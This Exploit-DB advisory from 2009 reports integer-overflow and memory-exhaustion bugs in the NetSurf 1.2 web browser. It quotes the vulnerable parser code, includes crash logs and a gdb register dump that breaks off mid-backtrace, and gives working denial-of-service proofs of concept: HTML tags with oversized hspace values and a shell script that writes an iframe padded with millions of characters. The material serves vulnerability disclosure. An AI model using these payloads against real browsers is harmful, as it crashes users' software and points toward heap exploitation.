Exploit-DB #7790
Description: netsurf Web browser 1.2 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2009-01-14
Author: Jeremy Brown

Exploit:
--------------------------------------------------------------------------------------------------------------------------------------------

[Jeremy Brown 01-14-2009]
0xjbrown41@gmail.com/jbrownsec.blogspot.com
netsurf_multiple_adv.txt
--------------------------------------------------------------------------------------------------------------------------------------------

NetSurf Web Browser 1.2
http://www.netsurf-browser.org
Debian, Ubuntu, etc packages, or source code available @ http://www.netsurf-browser.org/downloads/releases/netsurf-1.2-src.tar.gz

Several bugs, including integer overflows and memory leaks, have been found in the NetSurf web browser. At one point in the research,
I was able to overwrite the ESI register with my own data which could lead to heap based exploitation of at least [Problem #2] of the bugs.
I was able to pass large values to several html tag attributes and make the program do huge malloc()'s. Some of the code seems to check for
small numbers when parsing values then attempting to render content, but large numbers trigger integer overflows when allocating memory.

--------------------------------------------------------------------------------------------------------------------------------------------

{Problem #1]

render/box_construct.c [1110-1136]:

	if ((strcmp((const char *) n->name, "img") == 0) ||
			(strcmp((const char *) n->name, "image") == 0) ||
			(strcmp((const char *) n->name, "applet") == 0)) {
		if ((s = (char *) xmlGetProp(n,
				(const xmlChar *) "hspace"))) {
			/* percentage hspace not implemented */
			if (!strrchr(s, '%')) {
				int value = isdigit(s[0]) ? atoi(s): -1;
				if (0 <= value && !author->margin[LEFT]) {
					style->margin[LEFT].margin =
							CSS_MARGIN_LENGTH;
					style->margin[LEFT].value.length.value =
							value;
					style->margin[LEFT].value.length.unit =
							CSS_UNIT_PX;
				}
				if (0 <= value && !author->margin[RIGHT]) {
					style->margin[RIGHT].margin =
							CSS_MARGIN_LENGTH;
					style->margin[RIGHT].value.length.
							value = value;
					style->margin[RIGHT].value.length.unit =
							CSS_UNIT_PX;
				}
			}
			xmlFree(s);
		}

(netsurf:31889): GdkPixbuf-CRITICAL **: gdk_pixbuf_scale: assertion `src != NULL' failed
(netsurf:31889): GLib-GObject-CRITICAL **: g_object_unref: assertion `G_IS_OBJECT (object)' failed
The program 'netsurf' received an X Window System error.
This probably reflects a bug in the program.
The error was 'BadAlloc (insufficient resources for operation)'.
  (Details: serial 1071 error_code 11 request_code 53 minor_code 0)
  (Note to programmers: normally, X errors are reported asynchronously;
   that is, you will receive the error a while after causing it.
   To debug your program, run it with the --sync command line
   option to change this behavior. You can then get a meaningful
   backtrace from your debugger if you break on the gdk_x_error() function.)

Program exited with code 01.

[ltrace log -- hspace = 30000, without --sync]

gdk_gc_set_clip_rectangle(0x8cbdaf8, 0x80c4500, 0, 0, 0)
                                                        = 0x8cbda01
cairo_reset_clip(0xb6600948, 0x80c4500, 0, 0, 0)
                                                        = 0
cairo_rectangle(0xb6600948, 0, 0, 0, 0)
                                                        = 0
cairo_clip(0xb6600948, 0, 0, 0, 0)
                                                        = 0xb6600aec
gdk_gc_set_clip_rectangle(0x8cbdaf8, 0x80c4500, 0, 0, 0)
                                                        = 0x8cbda01
gdk_pixbuf_get_from_drawable(0, 0x8d0ed78, 0, 0, 0 <unfinished ...>
malloc[PII_REDACTED]) /// HUGE MALLOC
                                                        = NULL
<... gdk_pixbuf_get_from_drawable resumed> )
                                                        = 0
gdk_pixbuf_scale(0, 0x8c0e238, 0, 0, 100 <unfinished ...>
free(0xb6600dc8)
                                                        = <void>
free(0xb6600de0)
                                                        = <void>

PoCs: <applet code='test.class' hspace='32767'>
      <img src='test.jpg' hspace='32767'>

--------------------------------------------------------------------------------------------------------------------------------------------

[Problem #2]

render/layout.c [526-539]:

	/* add margins, border, padding to min, max widths */
	calculate_mbp_width(block->style, LEFT, &extra_fixed, &extra_frac);
	calculate_mbp_width(block->style, RIGHT, &extra_fixed, &extra_frac);
	if (extra_fixed < 0)
		extra_fixed = 0;
	if (extra_frac < 0)
		extra_frac = 0;
	if (1.0 <= extra_frac)
		extra_frac = 0.9;
	block->min_width = (min + extra_fixed) / (1.0 - extra_frac);
	block->max_width = (max + extra_fixed) / (1.0 - extra_frac);

	assert(0 <= block->min_width && block->min_width <= block->max_width);
}

$ calc 32767*32767*2+131006
[PII_REDACTED]

$ cat ns.sh ns2.sh
echo "<iframe src='test.jpg' width='$1'>`perl -e 'print "A" x 99999999'`" > int.html
echo "<iframe src='test.jpg' width='$1'>" > int.html
$

(gdb) shell ./ns.sh[PII_REDACTED]
(gdb) r file:///home/rush/Desktop/int.html

[width =[PII_REDACTED][PII_REDACTED]+99999999) & 99,999,999 A's appended to test html file]

Program received signal SIGABRT, Aborted.
[Switching to Thread 0xb6d78720 (LWP 28933)]
0xb804e430 in __kernel_vsyscall ()
(gdb) i r
eax            0x0	0
ecx            0x7105	28933
edx            0x6	6
ebx            0x7105	28933
esp            0xbfb4cfe4	0xbfb4cfe4
ebp            0xbfb4cffc	0xbfb4cffc
esi            0xb7532b97	[PII_REDACTED]
edi            0xb754fff4	[PII_REDACTED]
eip            0xb804e430	0xb804e430 <__kernel_vsyscall+16>
eflags         0x206	[ PF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) bt
#0  0xb804e430 in